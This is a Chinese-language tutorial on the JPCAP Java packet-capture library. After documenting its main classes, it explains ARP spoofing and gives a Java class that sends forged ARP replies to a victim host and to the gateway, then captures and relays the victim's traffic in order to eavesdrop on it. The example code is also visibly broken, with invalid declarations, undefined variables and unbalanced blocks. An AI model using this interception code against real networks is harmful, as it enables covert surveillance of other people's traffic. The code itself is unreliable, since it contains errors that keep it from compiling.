JPCAP——Java中的数据链路层控制

引:众所周知,JAVA语言虽然在TCP/UDP传输方面给予了良好的定义,但对于网络层以下的控制,却是无能为力的.JPCAP扩展包弥补了这一点.

一.JPCAP简介

众所周知,JAVA语言虽然在TCP/UDP传输方面给予了良好的定义,但对于网络层以下的控制,却是无能为力的.JPCAP扩展包弥补了这一点.

JPCAP实际上并非一个真正去实现对数据链路层的控制,而是一个中间件,JPCAP调用wincap/libpcap,而给JAVA语言提供一个公共的接口,从而实现了平台无关性.在官方网站上声明,JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统.

二.JPCAP机制

JPCAP的整个结构大体上跟wincap/libpcap是很相像的,例如NetworkInterface类对应wincap的typedef struct _ADAPTERADAPTER,getDeviceList()对应pcap_findalldevs()等等. JPCAP有16个类,下面就其中最重要的4个类做说明.

1.NetworkInterface

该类的每一个实例代表一个网络设备,一般就是网卡.这个类只有一些数据成员,除了继承自java.lang.Object的基本方法以外,没有定义其它方法.

数据成员
 
NetworkInterfaceAddress[]
 
java.lang.String
 datalink_description.
数据链路层的描述.描述所在的局域网是什么网.例如,以太网(Ethernet)、无线LAN网(wireless LAN)、令牌环网(token ring)等等.
 
java.lang.String
 datalink_name
该网络设备所对应数据链路层的名称.具体来说,例如Ethernet10M、100M、1000M等等.
 
java.lang.String
 description
网卡是XXXX牌子XXXX型号之类的描述.例如我的网卡描述:Realtek RTL8169/8110 Family Gigabit Ethernet NIC
 
boolean
 Loopback
标志这个设备是否loopback设备.
 
byte[]
 mac_address
网卡的MAC地址,6个字节.
 
java.lang.String
 Name
这个设备的名称.例如我的网卡名称:DeviceNPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5}
 

2.JpcapCaptor

该类提供了一系列静态方法实现一些基本的功能.该类一个实例代表建立了一个与指定设备的链接,可以通过该类的实例来控制设备,例如设定网卡模式、设定过滤关键字等等.

数据成员
 
int
 
dropped_packets

抛弃的包的数目.
protected int
 
ID

这个数据成员在官方文档中并没有做任何说明,查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的,这类本身并没有做出定义,所以是供其内部使用的.实际上在对JpcapCator实例的使用中也没有办法调用此数据成员.
 
protected staticboolean[]
 
instanciatedFlag

同样在官方文档中没有做任何说明,估计其为供内部使用.
 
protected staticint
 
MAX_NUMBER_OF_INSTANCE

同样在官方文档中没有做任何说明,估计其为供内部使用.
int
 
received_packets
收到的包的数目
 

方法成员
 
staticNetworkInterface[]
 
getDeviceList()
返回一个网络设备列表.
 
staticJpcapCaptor
 
openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms)
创建一个与指定设备的连接并返回该连接.注意,以上两个方法都是静态方法.

Interface:要打开连接的设备的实例;

Snaplen:这个是比较容易搞混的一个参数.其实这个参数不是限制只能捕捉多少数据包,而是限制每一次收到一个数据包,只提取该数据包中前多少字节;

Promisc:设置是否混杂模式.处于混杂模式将接收所有数据包,若之后又调用了包过滤函数setFilter()将不起任何作用;

To_ms:这个参数主要用于processPacket()方法,指定超时的时间;
 
void
 
Close()
关闭调用该方法的设备的连接,相对于openDivece()打开连接.
 
JpcapSender
 
getJpcapSenderInstance()
该返回一个JpcapSender实例,JpcapSender类是专门用于控制设备的发送数据包的功能的类.
 
Packet
 
getPacket()
捕捉并返回一个数据包.这是JpcapCaptor实例中四种捕捉包的方法之一.
 
int
 
loopPacket(intcount, PacketReceiver handler)
捕捉指定数目的数据包,并交由实现了PacketReceiver接口的类的实例处理,并返回捕捉到的数据包数目.如果count参数设为-1,那么无限循环地捕捉数据.

这个方法不受超时的影响.还记得openDivice()中的to_ms参数么?那个参数对这个方法没有影响,如果没有捕捉到指定数目数据包,那么这个方法将一直阻塞等待.
PacketReceiver中只有一个抽象方法void receive(Packet p).
 
int
 
processPacket(intcount, PacketReceiver handler)
跟loopPacket()功能一样,唯一的区别是这个方法受超时的影响,超过指定时间自动返回捕捉到数据包的数目.
 
int
 
dispatchPacket(intcount, PacketReceiverhandler)
跟processPacket()功能一样,区别是这个方法可以处于"non-blocking"模式工作,在这种模式下dispatchPacket()可能立即返回,即使没有捕捉到任何数据包.
 
void
 
setFilter(java.lang.Stringcondition, booleanoptimize)
.condition:设定要提取的包的关键字.

Optimize:这个参数在说明文档以及源代码中都没有说明,只是说这个参数如果为真,那么过滤器将处于优化模式.
 
void
 
setNonBlockingMode(booleannonblocking)

如果值为"true",那么设定为"non-blocking"模式.
 
void
 
breakLoop()

当调用processPacket()和loopPacket()后,再调用这个方法可以强制让processPacket()和loopPacket()停止.
 

3.JpcapSender

该类专门用于控制数据包的发送.

方法成员
 
void
 
close()
强制关闭这个连接.
 
staticJpcapSender
 
openRawSocket()

这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分.
 
void
 
sendPacket(Packet packet)
JpcapSender最重要的功能,发送数据包.需要注意的是,如果调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话,需要自己设定数据链路层的头,而如果是由上面的openRawSocket()得到的话,那么无需也不能设置,数据链路层的头部将由系统自动生成.
 

 

4.Packet

这个是所有其它数据包类的父类.Jpcap所支持的数据包有:
ARPPacket、DatalinkPacket、EthernetPacket、ICMPPacket、IPPacket、TCPPacket、UDPPacket

三.使用JPCAP实现监听

1.监听原理

在详细说用JPCAP实现网络监听实现前,先简单介绍下监听的原理.

局域网监听利用的是所谓的"ARP欺骗"技术.在以前曾经一段阶段,局域网的布局是使用总线式(或集线式)结构,要到达监听只需要将网卡设定为混杂模式即可,但现在的局域网络普遍采用的是交换式网络,所以单纯靠混杂模式来达到监听的方法已经不可行了.所以为了达到监听的目的,我们需要"欺骗"路由器、"欺骗"交换机,即"ARP欺骗"技术.

假设本机为A,监听目标为B.

首先,伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入网关IP,目的地址填入B的MAC、IP,然后将这个包发送给B,而B接收到这个伪造的ARP REPLY包后,由于源IP为网关IP,于是在它的ARP缓存表里刷新了一项,将(网关IP,网关MAC)刷新成(网关IP,A的MAC).而B要访问外部的网都需要经过网关,这时候这些要经过网关的包就通通流到A的机器上来了.

接着,再伪造一个ARP REPLY包,数据链路层头及ARP内容部分的源MAC地址填入A的MAC地址,而源IP部分填入B的IP,目的地址填入网关MAC、IP,然后将这个包发给网关,网关接收到这个伪造的ARP REPLY包后,由于源IP为B的IP,于是在它的ARP缓存表里刷新了一项,将(B的IP,B的MAC)刷新成(B的IP,A的MAC).这时候外部传给B的数据包经过网关时,就通通转发给A.

这样还只是拦截了B的数据包而已,B并不能上网——解决方法是将接收到的包,除了目的地址部分稍做修改,其它原封不动的再转发出去,这样就达到了监听的目的——在B不知不觉中浏览了B所有的对外数据包.

ARP数据包解析

单元:Byte

 

Ethernet头部
 
ARP数据部分
 

6
 
6
 
2
 
2
 
2
 
2
 
2
 
4
 
6
 
4
 
6
 

目标MAC地址
 
源地MAC地址
 
类型号0x0800:ip

0x0806:ARP
 
局域网类型

以太网0x0001
 
网络协议类型

IP网络0x0800
 
MAC/IP地址长度,恒为0x06/04
 
ARP包类型

REPLY

0x0002
 
ARP目标IP地址
 
ARP目标MAC 地址
 
ARP源IP地址
 
ARP源MAC地址
 

2.用JPCAP实现监听

就如上面说的,为了实现监听,我们必须做四件事:

A.发送ARP包修改B的ARP缓存表;

B.发送ARP包修改路由ARP缓存表;

C.转发B发过来的数据包;

D.转发路由发过来的数据包;

下面我们给个小小的例子说明怎样实现.

我们假定运行这个程序的机器A只有一个网卡,只接一个网络,所在局域网为Ethernet,并且假定已经通过某种方式获得B和网关的MAC地址(例如ARP解析获得).我们修改了B和网关的ARP表,并对他们的包进行了转发.

public class changeARP{
private NetworkInterface[] devices; //设备列表
private NetworkInterface device; //要使用的设备
private JpcapCaptor jpcap; //与设备的连接
private JpcapSender sender; //用于发送的实例
private byte[] targetMAC, gateMAC; //B的MAC地址,网关的MAC地址
private byte[] String targetIp, String gateIp; //B的IP地址,网关的IP地址
/**
*初始化设备
* JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是"Generic
*dialup adapter",这是windows系统的虚拟网卡,并非真正的硬件设备.

*注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
*JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡.
*虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
*配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00.

*/

private NetworkInterface getDevice() throws IOException {
devices = JpcapCaptor.getDeviceList(); //获得设备列表
device = devices[0];//只有一个设备
jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
jpcap.setFilter("ip",true); //只监听B的IP数据包
sender = captor.getJpcapSenderInstance();
}
/**
*修改B和网关的ARP表.因为网关会定时发数据包刷新自己和B的缓存表,所以必须每隔一
*段时间就发一次包重新更改B和网关的ARP表.
*@参数 targetMAC B的MAC地址,可通过ARP解析得到;
*@参数 targetIp B的IP地址;
*@参数 gateMAC 网关的MAC地址;
*/

public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp)
throws UnknownHostException,InterruptedException {
this. targetMAC = targetMAC;
this. targetIp = targetIp;
this. gateMAC = gateMAC;
this. gateIp = gateIp;
getDevice();
arpTarget = new ARPPacket(); //修改B的ARP表的ARP包
arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
arpTarget.hlen = 6; //MAC地址长度固定6个字节
arpTarget.plen = 4; //IP地址长度固定4个字节
arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址
arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP

arpTarget.target_hardaddr = targetMAC; //B的MAC地址
arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP

EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型
ethToTarget.src_mac = device.mac_address; //A的MAC地址
ethToTarget.dst_mac = targetMAC; //B的MAC地址
arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前
arpGate = new ARPPacket(); //修改网关ARP表的包
arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似,不再重复注析
arpGate.prototype = ARPPacket.PROTOTYPE_IP;
arpGate.operation = ARPPacket.ARP_REPLY;
arpGate.hlen = 6;
arpGate.plen = 4;
arpGate.sender_hardaddr = device.mac_address;
arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress();
arpGate.target_hardaddr = gateMAC;
arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress();
EthernetPacket ethToGate = new EthernetPacket();
ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP;
ethToGate.src_mac = device.mac_address;
ethToGate.dst_mac = gateMAC;
arpGate.datalink = ethToGate;
thread=new Thread(new Runnable(){ //创建一个进程控制发包速度
public void run() {
while (true) {
sender.sendPacket(arpTarget);
sender.sendPacket(arpGate);
Thread.sleep(500);
}).start();
recP(); //接收数据包并转发
}
/**
*修改包的以太头,转发数据包
*参数 packet 收到的数据包
*参数 changeMAC 要转发出去的目标
*/
private void send(Packet packet, byte[] changeMAC) {
EthernetPacket eth;
if (packet.datalink instanceof EthernetPacket) {
eth = (EthernetPacket) packet.datalink;
for (int i = 0; i < 6; i++) {
eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的目标
eth.src_mac[i] = device.mac_address[i]; //源发送者为A
}
sender.sendPacket(packet);
}
}
/**
*打印接受到的数据包并转发
*/
public void recP(){
IPPacket ipPacket = null;
while(true){
ipPacket = (IPPacket)jpcap.getPacket();
System.out.println(ipPacket);
if (ipPacket.src_ip.getHostAddress().equals(targetIp))
send(packet, gateMAC);
else
send(packet, targetMAC);
}
}

注意:这个例子只是为了说明问题,并没有考虑到程序的健壮性,所以并不一定能在任何一台机器任何一个系统上运行.

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